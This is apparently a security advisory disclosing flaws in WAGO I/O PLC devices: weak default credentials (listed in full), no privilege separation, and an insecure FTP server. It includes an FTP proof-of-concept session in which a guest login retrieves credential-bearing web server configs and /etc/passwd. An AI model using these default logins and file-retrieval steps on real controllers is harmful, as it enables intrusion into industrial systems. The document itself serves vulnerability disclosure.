*WAGO IO PLC 758-870, 750-849, 750-849 vulnerabilities* *Background* According to WAGO?s Web site, WAGO is an international company based in Germany. They operate production facilities in Germany, Switzerland, Poland, China, and India. WAGO maintains offices worldwide. According to WAGO, its products are deployed across several sectors including manufacturing, building automation, electric generation, transportation, and others. WAGO estimates that these products are used worldwide. *Vulnerability Details* *Weak Credential Management* CVE-ID: CVE-2015-6472 *Affected models:* *WAGO IO 750-849 & 750-881* Modular I/O System. WAGO-I/O-IPC web-based management Order number 750-849 Firmware revision 01.01.27 (04) Order number 750-849 Firmware revision 01.02.05 (03) *WAGO IO 758-870* Modular I/O System. WAGO-I/O-IPC web-based management WAGO device models 750-849 and 750-881 come configured, by default, with three (3) accounts having weak credentials. admin - wago user - user guest - guest WAGO device model 758-870 comes configured, by default, with five (5) accounts having weak credentials. root:wago admin:wago user:user www:www guest:guest The application / system never initiates a forceful password change on first use or later for that matter. *Impact* Attackers are able to exploit these vulnerabilities by using the default credentials to gain unauthorized administrative access to the systems. *No privilege separation* CVE-ID: CVE-2015-6473 *Affected models:* WAGO IO 750-849 & 750-881 Modular I/O System. WAGO-I/O-IPC web-based management Order number 750-849 Firmware revision 01.01.27 (04) Order number 750-881 Firmware revision 01.02.05 (03) All three accounts can manage the device via HTTP(S) with full privileges. There seems to be no privilege separation when logged in as any user - all the functionality is available to these three accounts - admin, user, guest. *Impact* Attackers can control the device using any of the three default accounts & perform any changes without any restrictions. *Insecure ftp configuration / filesystem permissions* CVE-ID: *XXX [MITRE, CVE please]* WAGO IO 758-870 device also runs a FTP server. All the five (5) users documented above can log in over FTP. The FTP server configuration and filesystem permissions are set up insecurely and allows unauthorized file access. a. Login to FTP as 'guest' user b. Should have no access ideally outside ftproot / c. ?guest' can still access any file system location d. Multiple files across the file system have too open / unrestricted access permissions. 'guest' can access multiple, critical files. e. Access control is not enforced sufficiently, consistently & correctly. For example, ?guest? user is restricted and cannot download the /etc/passwd on the first attempt. However, *the system allows download of /etc/passwd file in the second attempt performed from a different directory with loose access permissions.* There may be other files accessible as well. *PoC* Connected to <IP>. 220 FTP server ready. Name: guest 331 User guest OK. Password required Password: 230 OK. Current directory is /home/guest Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Extended Passive mode OK (|||53957|) 150 Accepted data connection 226-Options: -l 226 0 matches total ftp> ls 229 Extended Passive mode OK (|||24432|) 150 Accepted data connection 226-Options: -l 226 0 matches total ftp> ls /etc/ 229 Extended Passive mode OK (|||29997|) 150 Accepted data connection -rw-r--r-- 1 0 0 44 Sep 27 2010 LICENSE -rw-r--r-- 1 0 0 22 Oct 1 2010 REVISIONS -rw-rw-rw- 1 0 0 26 Jun 7 2010 TZ -rw-r--r-- 1 0 0 96 Oct 1 2010 VIDEO_MODES -rwxr-xr-x 1 0 0 271 Oct 1 2010 cfg-kbus-irq.sh drwxrwsrwx 2 0 0 2048 Mar 3 14:39 config-tools -rw-r--r-- 1 0 0 504 Oct 1 2010 fstab -rw-r--r-- 1 0 0 80 Oct 1 2010 group -rw-r----- 1 0 0 27 Oct 1 2010 gshadow -rw-r--r-- 1 0 0 16 Oct 1 2010 homepartition -rw-rw-rw- 1 0 0 12 Oct 1 2010 hostname -rw-r--r-- 1 0 0 20 Oct 1 2010 hosts drwxr-xr-x 2 0 0 1024 Oct 1 2010 hotplug drwxr-xr-x 3 0 0 1024 Oct 1 2010 hotplug.d drwxr-xr-x 2 0 0 1024 Oct 1 2010 ifplugd -rw-r--r-- 1 0 0 58 Oct 1 2010 inetd.conf drwxrwxrwx 2 0 0 1024 Mar 2 18:15 init.d -rw-r--r-- 1 0 0 319 Oct 27 2014 inittab -rw-r--r-- 1 0 0 842 Jun 7 2010 inputrc -rw-r--r-- 1 0 0 128 Jun 7 2010 ipkg.conf drwxr-xr-x 2 0 0 1024 Jun 15 21:42 lighttpd lrwxrwxrwx 1 0 0 12 Oct 1 2010 mtab -> /proc/mounts drwxrwxrwx 6 0 0 1024 Feb 24 18:22 network -rw-r--r-- 1 0 0 1181 Oct 1 2010 nsswitch.conf -rw-r--r-- 1 0 0 40 Oct 1 2010 partitions -rw-r--r-- 1 0 0 459 Oct 1 2010 passwd drwxr-xr-x 2 0 0 1024 Oct 1 2010 php5 ------x--- 1 0 0 53 Mar 3 14:40 pointercal -rw-r--r-- 1 0 0 536 Oct 1 2010 profile -rw-r--r-- 1 0 0 178 Oct 1 2010 protocols -rw-r--r-- 1 0 0 8 Jun 7 2010 pure-ftpd.conf drwxrwxrwx 2 0 0 1024 Oct 1 2010 rc.d -rw-rw-rw- 1 0 0 53 Oct 1 2010 resolv.conf -rw-r--r-- 1 0 0 14 Oct 1 2010 rootpartition -rw-rw-rw- 1 0 0 341 Mar 2 17:08 rts3s.cfg -rwxr-xr-x 1 0 0 3012 Jun 7 2010 screenrc -rw-r--r-- 1 0 0 9590 Oct 1 2010 services -rw-r----- 1 0 0 338 Oct 1 2010 shadow -rw------- 1 0 0 280 Oct 1 2010 shadow- -r--r----- 1 0 0 1712 Jun 7 2010 sudoers -rwxrwxrwx 1 0 0 25 Jun 7 2010 timezone -rwxr-xr-x 1 0 0 511 Mar 3 14:37 ts.conf drwxr-xr-x 3 0 0 1024 Oct 1 2010 udev -rwxr-xr-- 1 0 0 798 Oct 1 2010 udhcpc.script -rw-r--r-- 1 0 0 357 Jun 15 21:42 webserver_conf.xml 226-Options: -l 226 45 matches total Note: As seen above, access permissions are too open on multiple files and directories. ftp> get /etc/shadow local: /etc/shadow remote: /etc/shadow ftp: Can't access `/etc/shadow': Permission denied ftp> get /etc/passwd local: /etc/passwd remote: /etc/passwd *ftp: Can't access `/etc/passwd': Permission denied* ftp> get /etc/webserver_conf.xml local: /etc/webserver_conf.xml remote: /etc/webserver_conf.xml ftp: Can't access `/etc/webserver_conf.xml': Permission denied ftp> get /etc/pure-ftpd.conf local: /etc/pure-ftpd.conf remote: /etc/pure-ftpd.conf ftp: Can't access `/etc/pure-ftpd.conf': Permission denied *ftp> cd /etc/lighttpd <? drwxr-xr-x* 250 OK. Current directory is /etc/lighttpd ftp> ls 229 Extended Passive mode OK (|||10281|) 150 Accepted data connection -rw-r--r-- 1 12 102 65 Jun 7 2010 lighttpd-htpasswd.user -rw-r--r-- 1 12 102 3743 Jun 15 21:42 lighttpd.conf -rw-r--r-- 1 12 102 414 Jun 7 2010 mod_fastcgi.conf 226-Options: -l 226 3 matches total ftp> get lighttpd-htpasswd.user local: lighttpd-htpasswd.user remote: lighttpd-htpasswd.user 229 Extended Passive mode OK (|||52622|) 150 Accepted data connection 100% |***********************************************************************************************************| 65 484.55 KiB/s 00:00 ETA 226-File successfully transferred 226 0.001 seconds (measured here), 71.89 Kbytes per second 65 bytes received in 00:00 (3.14 KiB/s) ftp> ftp> get lighttpd.conf local: lighttpd.conf remote: lighttpd.conf 229 Extended Passive mode OK (|||9954|) 150 Accepted data connection 100% |***********************************************************************************************************| 3743 243.10 KiB/s 00:00 ETA 226-File successfully transferred 226 0.015 seconds (measured here), 249.64 Kbytes per second 3743 bytes received in 00:00 (160.62 KiB/s) ?.. *Note*: Above configuration files contain credentials. Once in this directory, we can now also access /etc/passwd file *ftp> get /etc/passwd* local: /etc/passwd remote: /etc/passwd 229 Extended Passive mode OK (|||1859|) 150 Accepted data connection 100% |***********************************************************************************************************| 459 3.77 MiB/s 00:00 ETA *226-File successfully transferred* 226 0.003 seconds (measured here), 143.76 Kbytes per second 459 bytes received in 00:00 (35.35 KiB/s) +++++ -- Best Regards, Karn Ganeshen